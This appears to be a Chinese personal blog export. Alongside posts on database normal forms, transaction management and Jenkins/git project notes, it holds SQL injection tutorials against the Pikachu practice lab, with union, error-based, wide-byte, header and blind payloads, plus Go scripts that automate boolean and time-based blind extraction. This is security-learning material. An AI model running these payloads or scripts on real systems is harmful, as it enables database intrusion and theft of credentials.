Antifrag

范式

Wed, 26 Feb 2025 03:38:00 GMT

范式

| 范式 | 目标 | 关键要求 | | ---- | ------------------------ | --------------------------------------------------------- | | 1NF | 确保原子性 | 每个字段必须包含不可再分的值，表中每列的值是原子值。 | | 2NF | 消除部分依赖 | 满足1NF，且所有非主键字段完全依赖于主键（消除部分依赖）。 | | 3NF | 消除传递依赖 | 满足2NF，且非主键字段直接依赖于主键，避免传递依赖。 | | BCNF | 每个决定因素必须是候选键 | 满足3NF，且每个非平凡的函数依赖的左边部分必须是候选键。 | | 4NF | 消除多值依赖 | 满足BCNF，且每个多值依赖被消除，避免冗余数据。 |

1.第一范式（1NF）-原子性

每个字段必须包含原子值，表中的每列不能包含集合、数组或重复的值

不符合1NF的例子：

学生ID | 学生姓名 | 电话号码
-------------------------------------------
1      | 张三    | 123456789, 987654321
2      | 李四    | 111222333, 444555666

在表中，电话号码列包含了多个电话号码，违反了1NF的的原子性要求

符合1NF的例子：

学生ID | 学生姓名 | 电话号码
---------------------------
1      | 张三    | 123456789
1      | 张三    | 987654321
2      | 李四    | 111222333
2      | 李四    | 444555666

我们将多个电话号码分到不同的行，每个字段只包含一个值，符合1NF。

2.第二范式（2NF） -消除部分依赖

满足1NF，并消除部分依赖。即所有非主键字段必须以来主键，不能仅依赖于主键的一部分（适用于符合主键）

不符合2NF的例子：

学生ID | 课程ID | 教师   | 成绩
---------------------------
1      | 101    | 王老师 | 85
1      | 102    | 李老师 | 90
2      | 101    | 王老师 | 88
2      | 103    | 张老师 | 92

这里，教师只依赖于课程ID，不依赖于复合主键**（学生ID，课程ID）**。这是部分依赖，不符合

2NF。

符合2NF的例子：

-- 学生成绩表
学生ID | 课程ID | 成绩
---------------------------
1      | 101    | 85
1      | 102    | 90
2      | 101    | 88
2      | 103    | 92

-- 课程信息表
课程ID | 教师
--------------
101    | 王老师
102    | 李老师
103    | 张老师

把教师信息移到单独的课程信息表，这样教师字段不再依赖于复合主键的部分，而依赖于课程ID

3.第三范式（3NF） -消除传递依赖

满足2NF，并且消除传递依赖。也就是非主键字段不能依赖于其他主键字段。所有非主键字段必须直接依赖于主键，而不是通过其他非主键字段传递依赖

不符合3NF的例子：

学生ID | 学生姓名 | 学生地址    | 地址邮政编码
------------------------------------------
1      | 张三    | 北京市      | 100000
2      | 李四    | 上海市      | 200000

这里，地址邮政编码依赖于学生地址，而学生地址依赖于学生姓名。这是一个传递依赖，因为学生地址和地址邮政编码都是非主键字段，但地址邮政编码间接依赖于学生ID。不满足3NF的需求。

符合3NF的例子：

-- 学生信息表
学生ID | 学生姓名 | 学生地址
-------------------------
1      | 张三    | 北京市
2      | 李四    | 上海市

-- 地址信息表
学生地址 | 地址邮政编码
---------------------
北京市   | 100000
上海市   | 200000

将地址邮政编码字段移动到一个单独的表中，确保地址邮政编码直接依赖于学生地址，而不再通过学生地址间接依赖于学生ID，符合3NF。

4.BCNF（博伊斯-科得范式）

BCNF要求每一个非平凡的函数依赖的决定因素（determinant）必须是候选键。换句话说，BCNF要求每个函数依赖的左边必须是候选键。这样可以进一步消除数据冗余和异常。

1. BCNF与3NF的关系

3NF要求：一个表必须消除传递依赖。非主键字段必须直接依赖于主键。
BCNF要求：更严格地要求每个依赖关系的决定因素（即函数依赖的左边部分）必须是候选键。

函数依赖的定义：

决定因素（determinant）：一个字段或一组字段，决定了另一个字段的值。
非平凡依赖：依赖关系中，决定因素不完全等于右边的字段。

3NF能够处理大多数的数据冗余问题，但对于一些特殊情况，3NF仍然不能完全消除冗余，BCNF则进一步加强了这一点。

2. 不符合BCNF的例子

我们来看一个不符合BCNF的例子：

假设我们有一个表格记录学生、课程和教师的信息：

学号  | 课程ID | 教师  | 成绩
--------------------------
1     | 101    | 王老师 | 85
1     | 102    | 李老师 | 90
2     | 101    | 王老师 | 88
2     | 103    | 张老师 | 92

存在的依赖关系：

学号, 课程ID → 成绩（每个学生在每门课程中的成绩是唯一的）
课程ID → 教师（每门课程对应一个固定的教师）

根据这些依赖关系，表中的课程ID → 教师是一个依赖关系，但课程ID并不是一个候选键，而是一个普通的非主键字段。这样，表中的教师字段就依赖于课程ID，而课程ID并不是表的候选键。因此，这个表不符合BCNF。

符合BCNF的表结构

为了让表符合BCNF，我们需要调整表结构，确保每个非主键字段只依赖于候选键。我们可以将表拆分成两个表：

学生课程成绩表：

CREATE TABLE StudentCourse (
    学号 INT,
    课程ID INT,
    成绩 DECIMAL(5, 2),
    PRIMARY KEY (学号, 课程ID)
);

课程教师表：

CREATE TABLE CourseTeacher (
    课程ID INT,
    教师 VARCHAR(50),
    PRIMARY KEY (课程ID)
);

这样，我们将课程与教师的信息拆分成了一个单独的表，消除了课程ID → 教师的依赖，确保每个表的非主键字段完全依赖于其主键（即每个表中的字段都依赖于候选键）。

BCNF通过严格要求每个非平凡的依赖的决定因素必须是候选键，进一步消除了数据库中的冗余数据和不一致的情况。与3NF相比，BCNF处理了3NF无法解决的部分依赖问题，避免了数据冗余。

简单总结：

3NF 解决了传递依赖问题，确保了非主键字段之间不会发生依赖。
4NF 解决了多值依赖问题，通过将独立的多值属性分开存储，避免了数据冗余和一致性问题。
BCNF：进一步要求每个函数依赖的左边部分必须是候选键，解决了3NF中某些特殊情况下的冗余问题。

BCNF比3NF更严格，它能有效避免一些边缘情况的依赖问题，确保数据结构更加规范化。

5.第四范式（4NF） -消除多值依赖

满足BCNF，并且消除多值依赖。多值依赖是指一个字段依赖于多个其他字段，而这些依赖之间没有直接关系，通常涉及多个独立的多值属性

目的：消除多值依赖，减少数据冗余，避免数据不一致。

不符合4NF的例子：

学生ID | 学生姓名 | 学生爱好   | 学生课程
----------------------------------------
1      | 张三    | 游泳, 画画 | 数学, 物理
2      | 李四    | 足球      | 化学, 英语

在上面的表中，学生爱好和学生课程字段同时依赖于学生ID，但是它们是独立的属性，没有直接关系。由于每个学生可以有多个爱好和多个课程，表中的数据变得冗余，而且插入和更新操作可能会导致数据的不一致性，这是典型的多值依赖。

符合4NF的例子：

sql复制编辑-- 学生爱好表
学生ID | 学生爱好
-------------------
1      | 游泳
1      | 画画
2      | 足球

-- 学生课程表
学生ID | 学生课程
-------------------
1      | 数学
1      | 物理
2      | 化学
2      | 英语

我们将学生的爱好和课程拆分成两个独立的表，这样就消除了多值依赖，确保每个表中的每一行都只能存储一个独立的值。这样既避免了冗余数据，又提高了数据的一致性和可维护性，符合4NF。

事务管理

Wed, 26 Feb 2025 03:37:00 GMT

事务管理

事务管理是指在数据库管理系统（DBMS）中，确保一系列操作要么完成执行，要么完全不执行的机制。事务是一组作为单一单元执行的操作，它们要么成功执行并提交（commit），要么发生错误并回滚（rollback），确保数据的完整性和一致性。

1.原子性（Atomicity）

事务中的所有操作要么完全执行，要么完全不执行
如果事务中某一部分出现失败，事务会回滚到它刚开始的状态，确保没有部分操作成功

2.一致性（Consistency）

事务执行前后，数据库的状态要从一个一致的状态转变到另一个一致的状态
事务开始时，数据库处于一个有效的状态，执行完事务后，数据库依然保持有效和一致
例：银行账户的余额必须大于等于0

3.隔离性（lasolation）

每个事务的执行应该不被其他事务干扰。事务的操作对其他事务来说是隔离的，类似于事务按顺序串行执行

4.持久性（Durability）

一旦事务被提交，他所作的更改将永久保存。即使发生系统崩溃，数据也不会丢失

并发可能导致事务发生的问题

在一个实际的项目开发中，事务一般伴随着高并发，多个事务可能同时进行。这就会带来一些并发问题，主要包括：

1.丢失修改：

两个事务同时读取同一数据并修改它，最终只有一个修改被保存，另一个修改就丢失了

2.不可重复读：

在同一事务中读取相同的数据两次，但结果不同，因为其他事务在此期间修改了该数据

3.脏读：

一个事务读取了另一个事务未提交的数据，导致读取到的数据可能是无效的或错误的。如果第二个事务回滚，脏读的数据将不再有效。
示例：用户A在读取余额后进行操作，而在用户A操作过程中，用户B修改了余额并提交。用户A读取到的是未提交的余额，最终可能发生错误。

并发问题的解决

1.封锁机制：

封锁机制是通过对数据进行锁定来避免多个事务同时修改同一数据。常见的封锁类型有：

共享锁（S锁）：允许事务读取数据，但不允许修改数据，其他事务也可以读取数据
排他锁（X锁）：允许事务读取和修改数据，其他事务不能访问该数据

一种常见的封锁协议是两段锁协议：

在事务执行的过程中，事务先获取锁（锁定阶段），然后执行操作，最后释放锁（解锁阶段）
两段锁协议确保了事务在开始时索取锁，结束时释放锁，防止事务发生死锁或不一致问题。它有两个阶段：
1. 增长阶段：事务可以获取锁，但不能释放任何锁
2. 收缩阶段：事务释放锁，但不能再获取任何锁
两段锁协议能保证串行化的隔离级别，避免发生问题

2.事务隔离级别：

事务隔离级别定义了事务执行时与其他事务的隔离程度。常见的隔离级别有四种，从最低到最高依次为：

读未提交：
- 事务可以读取其他事务未提交的数据，可能会出现脏读
- 这种隔离级别性能最好，但一致性最差
读已提交：
- 事务只能读取其他事务已提交的数据，避免了脏读，但可能会出现不可重复读的情况
- 比读未提交隔离级别稍强，常见的默认隔离级别
可重复读：
- 事务内的多次读取都返回相同的数据，避免了脏读和不可重复读，但可能会出现幻读的问题（即在事务读取数据时，同时插入另一新的数据）
串行化：
- 最高隔离级别，事务完全隔离，执行时效果像串行执行一样，避免了脏读、不可重复读和幻读
- 性能最差，但一致性最强

Golang实现盲注

Sun, 11 Aug 2024 06:06:33 GMT

Golang实现布尔盲注

上一篇讲到了盲注的实现过程，现在我们可以一起来学习一下脚本的编写

盲注payload

kobe' and length(database()) = 7#

kobe' and ascii(substr(database(),1,1)) > 111#

构造poc

常规循环实现

package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"net/url"
	"os"
	"strings"
)

var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'"
var payload = "kobe' and ascii(substr((%s),%v,1)) > %v#"
var flag string


func main(){
    url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
	url1 := "&submit=查询##&submit=查询"
    sqlin2(url, url1)
}

func sqlin(url1 string, url2 string) {
	for i := 1; i < 200; i++ {
		for j := 1; j < 127; j++ {
			if j > 50 {
				payload1 := fmt.Sprintf(payload, i, j)
				// fmt.Println(payload1)
				payload2 := url.QueryEscape(payload1)
				payload1 = url1 + payload2 + url2
				// fmt.Println(payload1)
				re := send(payload1)
				if check(re) {
					flag += string(j)
					fmt.Println(flag)
				}
			}
		}
	}
}

// 网络请求
func send(url string) string {
    client := &http.Client{}
    req,err := http.NewRequest("GET",url,nil)
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	rest, err := io.ReadAll(resp.Body)
	res := string(rest)
	return res
}

// 内容读取
func check(test string) bool {
    return strings.Contains(test, "kobe@pikachu.com")
}

二分查找法

package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"net/url"
	"os"
	"strings"
)

var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'"
var payload = "kobe' and ascii(substr((%s),%v,1)) > %v#"
var flag string


func main(){
    url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
	url1 := "&submit=查询##&submit=查询"
    attack(url, url1)
}

func attack(url1 string,url2 string) {
    for i := 1; i < 200; i++ {
		low := 38
		high := 127
		mid := (low + high) / 2
		for high > low {
			payload1 := fmt.Sprintf(payload, SplicingPayload, i, mid)
			payload2 := url.QueryEscape(payload1)
			payload1 = url1 + payload2 + url2
			resp := send(payload1)
			if check(resp) {
				low = mid + 1
			} else {
				high = mid
			}
			mid = (low + high) / 2
			if string(mid) == "&" {
				os.Exit(0)
			}
		}
		flag += string(mid)
		fmt.Println(flag)

	}
}

// 网络请求
func send(url string) string {
    client := &http.Client{}
    req,err := http.NewRequest("GET",url,nil)
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	rest, err := io.ReadAll(resp.Body)
	res := string(rest)
	return res
}

// 内容读取
func check(test string) bool {
    return strings.Contains(test, "kobe@pikachu.com")
}

另一种实现思路

package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"net/url"
	"strings"
	"time"
)

func main() {
	url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
	url1 := "&submit=查询##&submit=查询"
	attackBinary(url, url1)
}

func attackBinary(url1 string, url2 string) string {
	defer measureTime(time.Now(), "Binary")

	dbName := ""
	sqlPayload := "database()"

	j := 1
	exitFlag := false
	for !exitFlag {
		exitFlag = true
		low := 32
		high := 126
		for high >= low {
			mid := (low + high) / 2

			payload1 := fmt.Sprintf("kobe' and ascii(substr(%s,%d,%d)) = %d#", sqlPayload, j, j, mid)
			// 编码转换
			payload2 := url.QueryEscape(payload1)
			payload1 = url1 + payload2 + url2
			resp := send(payload1)

			if strings.Contains(resp, "kobe@pikachu.com") {
				dbName += string(mid)
				fmt.Println("flag :", dbName)
				exitFlag = false
				break
			}

			payload1 = fmt.Sprintf("kobe' and ascii(substr(%s,%d,%d)) > %d#", sqlPayload, j, j, mid)
			payload2 = url.QueryEscape(payload1)
			payload1 = url1 + payload2 + url2
			resp = send(payload1)

			if strings.Contains(resp, "kobe@pikachu.com") {
				low = mid + 1
			} else {
				high = mid - 1
			}
		}
		j += 1
	}
	return dbName
}

// 时间统计
func measureTime(start time.Time, name string) {
	elapsed := time.Since(start)
	log.Fatalf("Time for %s:%s", name, elapsed)
}

// 网络请求
func send(url string) string {
	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	rest, err := io.ReadAll(resp.Body)
	res := string(rest)
	return res
}

Golang实现时间盲注

目前我使用的这个延时注入脚本较慢，因为在判断的过程中，会将sleep()函数进行执行，导致判断时间较长

package main

import (
	"fmt"
	"log"
	"net/http"
	"net/url"
	"time"
)

var url1 = "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
var url2 = "&submit=查询#&submit=查询"

func main() {
	payload := "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
	testGeneralBaseTime(payload)
}

// 获取GET请求，返回是否存在延时
func getRequestBaseTime(payload string) bool {
	startTime := time.Now()
	payload = url.QueryEscape(payload)
	urlL := url1 + payload + url2
	// 在pikachu时间注入里 只能发送post请求 才能有时间回显，先开始哦一直用的Get导致出现404报错！！
	resp, err := http.Post(urlL, "application/x-www-form-urlencoded", nil)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	if resp.StatusCode != 200 {
		log.Fatal("请求失败")
	}
	endTime := time.Now()
	// Sub()返回时间差
	usedTime := endTime.Sub(startTime)
	if usedTime > 3*time.Second {
		return true
	}
	return false

}

// 二分法编写通用注入方法
func testGeneralBaseTime(payload string) string {
	var flag string
	exitFlag := false
	j := 1
	for !exitFlag {
		exitFlag = true
		high := 127
		low := 38
		for high >= low {
			mid := (high + low) / 2
			payloadGeneral := fmt.Sprintf("kobe' and if(ascii(substr(%s,%d,%d))=%d,sleep(3),1)#", payload, j, j, mid)
			if getRequestBaseTime(payloadGeneral) {
				flag += string(mid)
				fmt.Println(flag)
				exitFlag = false
				break
			}

			payloadGeneral1 := fmt.Sprintf("kobe' and if(ascii(substr(%s,%d,%d))>%d,sleep(3),1)#", payload, j, j, mid)
			if getRequestBaseTime(payloadGeneral1) {
				low = mid + 1
			} else {
				high = mid - 1
			}
		}
		j += 1
	}
	return flag
}

学习的师傅文章链接：

https://www.cnblogs.com/newbe3three/p/15917296.html#%E6%97%B6%E9%97%B4%E5%9E%8B

https://godeep.pro/blog/SQL%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8%E8%87%AA%E5%8A%A8%E5%8C%96%E8%84%9A%E6%9C%AC%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE%E5%AE%9E%E8%B7%B5%E4%B8%8E%E8%B8%A9%E5%9D%91-Python-Golang-Rust/#golang-%E7%89%88

https://www.cnblogs.com/dogecheng/p/11616282.html

SQL注入（二）

Fri, 09 Aug 2024 07:28:09 GMT

SQL注入（二）

盲注

在实际的渗透过程中，网站设计者会将错误信息进行屏蔽，导致我们无法根据报错信息来进行注入的判断，这种情况下的注入，就是盲注

布尔盲注（based on boolean）

在盲注的过程中，我们会经常使用到以下函数

length（str）#函数 返回字符串的长度
substr（str,poc,len）#截取字符串,poc表示截取字符串的开始位，len表示截取字符串的长度
ascii（）#返回字符的ascii码，返回该字符对应的ascii码
count（）#返回当前列的数量

基于真假的盲注主要特征

没有报错信息
不管是正确的输入，还是错误的输入，都只有两种情况（可以看做 0 or 1）
在正确的输入下，后面跟 and 1=1 / and 1=2 进行判断

在pikachu下可以进行测试

输入正确的姓名

kobe' and 1=1# 会发现成功返回
kobe' and 1=2# 出现报错

这里只能判断用户存在还是不存在，所以不能使用报错注入的方式进行注入

只能使用判断的方式

可以先使用length判断长度

#回显成功
kobe' and length(database()) > 1#

#一直判断到大于7出现了错误，那么可以使用等于7，会发现成功回显，证明字符数为7
kobe' and length(database()) > 7#

然后此时再用 substr() 和 ascii() 判断数据库由哪些字母组成（可以用二分法）

#成功回显
kobe' and ascii(substr(database(),1,1)) > 111#
#出现报错，说明可能数据库第一个字符就是112
kobe' and ascii(substr(database(),1,1)) > 112#
#使用等于112 判断成功
kobe' and ascii(substr(database(),1,1)) = 112#

查看ASCII码表，查看对应的字符为p

ASCII码表：https://tool.oschina.net/commons?type=4

后面的字符依次类推，查出完整的库名：pikachu

后面的数据只需在前面的基础上将database()进行修改

对后面payload进行构造

#替换语句
(select table_name from information_schema.tables where table_schema = database() limit 0,1)
#判断长度
kobe' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) > 1#
#长度为8
kobe' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 8#
#爆列
#第一个值 h
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#
#第二个值 t
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 2, 1)) =116#
#第三个值 t
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 3, 1)) =116#
#后面的依次类推

时间注入（based on time）

基于布尔型盲注我们还可以看到回显的信息，是否正确

在使用时间注入的时候，我们只能通过服务器的回应时间来进行判断，从而确定注入点

一般使用sleep()函数来进行判断

看到上面的结果说明我们注入成功了，构造下面的 payload，用 database() 取得数据库的名称，再用 substr 取字符判断数据库名称的组成，如果猜解成功就会 sleep 5秒，否则没有任何动作

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#
#或者使用和盲注一样的 编码转义也可以
kobe' and if(ascii(substr(database(),1,1)) = 112,sleep(5),null)#
#后面的构造语句就和前面这些一样了，只需要替换database()数据即可

宽字节注入

查看源码，可以看到对输入的数据进行了GBK转义

数据库用了GBK编码，\转义了' ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”，可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了

宽字节注入的使用原因是：单引号、双引号等特殊字符被转义

宽字节注入的原理是：当转义使用的 \ 为 ASCII 编码，而客户端传入的参数被当成 GBK 等宽字节编码，则可以通过在 \ 之前插入一个十六进制字节（ASCII码要大于128，才到汉字的范围）来让 MySQL 以为插入的字节和 \ 是一个中文字符，从而吃掉 \ ，摧毁转义

kobe %df' or 1=1#

kobe%df' union select 1,2#

kobe%df' union select 1,database()#

kobe%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

#依次类推

SQL注入（一）

Thu, 08 Aug 2024 08:00:44 GMT

SQL注入

数字型注入（POST）

以piakchu靶场举例

步骤：

1. 先判断注入点的注入类型
2. 如是数字型，先使用Burp抓包，修改id值
3. 修改payload为 1 or 1=1，发送请求
4. 会发现查询到了全部数据
5. 使用 order by 判断注入点 （payload：1 order by 2）
6. 显位：联合查询查看显示位 （1 union select 1,2#）
7. 爆库：显示出数据库的名字 (1 union select 1,group_concat(schema_name) from (information_schema.schemata)#)
8. 爆表：利用union select 联合查询，获取表名
   a. (1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = database()#)获取到当前数据库
   b. (1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = '数据库名字'#)指定获取想要的数据库
9. 爆列：利用union select 联合查询,获取字段名
   a. (1 union select 1,group_concat(column_name) from information_schema.columns where table_name = database() and table_name = '表名'#)
   b. (1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#)
10. 爆值：利用 union select 联合查询，获取字段值
    a. (1 union select 1,group_concat(username) from pikachu.users#)
    b. (1 union select 1,group_concat(concat_ws(表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值)

采用手动联合注入的方法

1 or 1=1

判断回显位

1 union select 1,2#

爆库

1 union select 1,database()#

或 1 union select 1,group_concat(schema_name) from (information_schema.schemata)#

爆表

1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = database()#

爆列

1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

爆值

1 union select 1,group_concat(username) from pikachu.users# (获取用户名)

字符型注入（GET）

#查看页面变化，判断sql注入类别
1
1'

#确定字段数【2】
1' order by 3#
1' order by 4#

#联合查询查看显示位
-1' union select 1,2#

#题库【pikachu】
-1' union select 1,group_concat(schema_name) from information_schema.schemata #
或者
-1' union select 1,database() #

#爆表【httpinfo,member,message,users,xssblind】
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

#爆列【...,username,password,...】
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

#爆值
-1' union select 1,concat_ws('-',username,password) from users #

后面的步骤和前面的数字型类似（省略）

搜索型注入

搜索型注入也分为GET和POST两种类型，但实际注入方式几乎一样

搜索型注入一般使用模糊匹配的方式存在，使用SQL语句就是select username,password from users where username like '%$name%'

注入方式：当我们输入'and 1=1 and '%'='，将其拼接进SQL语句就变成了select username,password from users where username like '%'and 1=1 and '%'='%'，实际上读取的内容还是and 1=1

使用-- +也能注释掉后面的内容

'and 1=1 -- +
'or 1=1 -- +

#确定字段数【3】
'order by 3 -- +

#union 联合查询判断回显位
'union select 1,2,3 -- +

#爆库
'union select 1,2,database() -- +
#或
'union select 1,2,group_concat(schema_name) from information_schema.schemata -- +

#爆表
'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

#爆列
'union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' -- +

#爆值
'union select 1,2,concat_ws('-',username,password) from users -- +

' union select 1,2,3 --+

爆库

'union select 1,2,group_concat(schema_name) from information_schema.schemata -- +

爆表

'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

爆列

'union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' -- +

爆值

' union select 1,2,concat_ws('-',username,password) from users -- +

XX型注入

由于我是用docker搭建的没有下载源码，直接从github上看

可以看到这个闭合使用()进行闭合的，原理和前面一样

构造payload

') or 1=1 -- +

#根据报错看回显
') order by 2 -- +

') union select 1,2 -- +

#爆库
') union select 1,group_concat(schema_name) from information_schema.schemata -- +
或者
') union select 1,database()-- +

#爆表【httpinfo,member,message,users,xssblind】
') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- +

#爆列【...,username,password,...】
') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- +

#爆值
') union select 1,concat_ws('-',username,password) from users -- +

insert/update 注入

在这3种情况中，我们不能使用 union 去做联合查询，因为这不是查询，而是操作。

我们可以在此使用报错注入，以下为常用的三种报错注入函数

updatexml()： MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
extractvalue()：MySQL 对 XML 文档数据进行查询的 XPATH 函数
floor()：MySQL中用来取整的函数

updatexml()/extractValue()

UPDATEXML (XML_document, XPath_string, new_value)
ExtractValue(xml_document, XPathstring)

这两函数核心原理是一样的，都是对 XML

具体使用查看：https://www.cnblogs.com/dogecheng/p/11616282.html 这位师傅的文章

在注册的过程中，直接将传入的数据进行POST请求解析，从而直接导致漏洞产生

payload构造

#爆库
1' and updatexml(1,concat(0x7e,database()),0) and ' #使用or也可以

#爆列 如果不使用 limit限制读取数量，pikachu会出现报错 显示结果多于一行
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) and '

#爆表
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0) and '

#爆值
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) and '

1' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0) and '

delete注入

源码

构造payload

1 or updatexml(1, concat(0x7e,database()), 0)

floor

向下取整。如果要用 floor() 构成报错，必须满足下面的条件

运算中有 count
运算中有 group by
运算中有 rand

使用方式

#爆库
1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_shcema.tables group by x)a)#

#爆表
1' and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#

#爆字段
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

#爆值
1'and (select 1 from (select count(*),concat('~',(select concat(username,'~',password) from users limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

http header注入

首先使用 admin/123456 登录，进入页面后可以看到 http请求被暴露在页面上

我们可以先看看源码

这里可以看到作者直接将header信息直接使用insert插入到数据库，没有进行转义

我们尝试在header上进行SQL注入

将User-Agent修改为'会发现页面出现了sql报错信息

然后就可构造payload，和前面的那个insert一样

#爆库
' or updatexml(1,concat(0x7e,database()),0) or '

#爆列
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) or'

#爆表
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0) or'

#爆值
' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) or'
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1) or'

项目总结

Wed, 17 Jul 2024 08:49:18 GMT

项目开发总结

本次项目开发学习前前后后花费了数半个月，虽然学习的项目章节不太多，但也受益匪浅

不论是从最开始的环境搭建，还是之后的微服务、小程序、网关配置等等方面，也是学到了很多技巧，但这其中我也遇到了很多困难，本次开发总结我将详细讲述我的开发流程，其中遇到的一些困难，以及如何去解决这些困难

环境配置

首先是在最开始的环境配置当中，我们需要先下载虚拟机环境（模拟公司、企业当中的服务器）

可看到虚拟机环境已经帮我们配置好了，这些服务是一些正在运行当中的服务

然后就是虚拟机也需要配置一下内网IP方便后续服务的访问

内网配置好后在配置本地ip

可以看到本地服务地址与虚拟机地址是一样的，然后后面就是一些服务

在这之后我们就可以成功的访问服务了

我们先从本地访问服务域名，通过本地hosts文件配置，将服务地址传输到虚拟机，再通过虚拟机nginx服务将其反向代理到各个服务

Maven私服

Maven私服配置根据服务不同，进行相应配置

git代码管理

对于代码的管理，我觉得是相对重要的，这在开发当中是必不可少的

分支管理

不同功能的分支形成代码隔离，发布时从主分支进行代码发布，测试在测试分支，开发在开发分支，减少出错。。
分支之间互不影响，开发者可以独立开发，提高团队开发效率

分支管理策略

master

主分支，用于部署生产环境的分支，是所有分支的主干，与当前线上代码保持统一

dev

开发分支，开发各类分支的合并分支，即当前最新功能分支

feature

功能分支，一般用于新技术的开发，开发完成后合并到master/dev分支，随后便可删除分支

release

用于测试的分支，如遇bug，将其推到 fixbug分支进行修复

fixbug

bug修复分支，完成修复后，将其合并到master/dev

tag标签

master发布开发环境后，用tag来进行版本标记

# 列出所有本地分支
$ git branch

# 列出所有远程分支
$ git branch -r

# 列出所有本地分支和远程分支
$ git branch -a

# 新建一个分支，但依然停留在当前分支
$ git branch [branch-name]

# 新建一个分支，并切换到该分支
$ git checkout -b [branch]

# 新建一个分支，指向指定commit
$ git branch [branch] [commit]

# 新建一个分支，与指定的远程分支建立追踪关系
$ git branch --track [branch] [remote-branch]

# 切换到指定分支，并更新工作区
$ git checkout [branch-name]

# 切换到上一个分支
$ git checkout -

# 建立追踪关系，在现有分支与指定的远程分支之间
$ git branch --set-upstream [branch] [remote-branch]

# 合并指定分支到当前分支
$ git merge [branch] # 快速合并
$ git merge --no-ff [branch] # 非快速合并（建议使用）

# 选择一个commit，合并进当前分支
$ git cherry-pick [commit]

# 删除分支
$ git branch -d [branch-name]

# 删除远程分支
$ git push origin --delete [branch-name]
$ git branch -dr [remote/branch]

然后后面就是一些分支开发测试(这里就不做多的篇幅解释)

项目列表

这些服务后续会用到

Jenkins

在学习本次项目之前，我也才只接触Jenkins过一次，那还是在上次2023年的一次靶机练习，记得当时也是打的迷迷糊糊，不过经过本次学习后，我也更深层次的体验到了Jenkins的用法

从最开始的任务构建到参数、版本号、微服务地址、服务名称、端口号、git地址等等一系列的配置，在到脚本构建，一键运行，就完成了项目的一个搭建，通过测试便可查看是否搭建成功

测试成功后，将Jenkins中web钩子设定，绑定git，测试推送

Jenkins总结

从Jenkins的使用流程来看，我认为Jenkins就是用于将git进行连接配置，然后直接启动服务的中间件，他可以直接将服务上传到docker容器中（前提是在环境中已经配置好了docker，Maven，git），他方便我们对服务的一个管理，是一个强大的中间件。

登录业务

关于登录业务，我觉得文档上给的图就已经完美诠释了整个登录流程

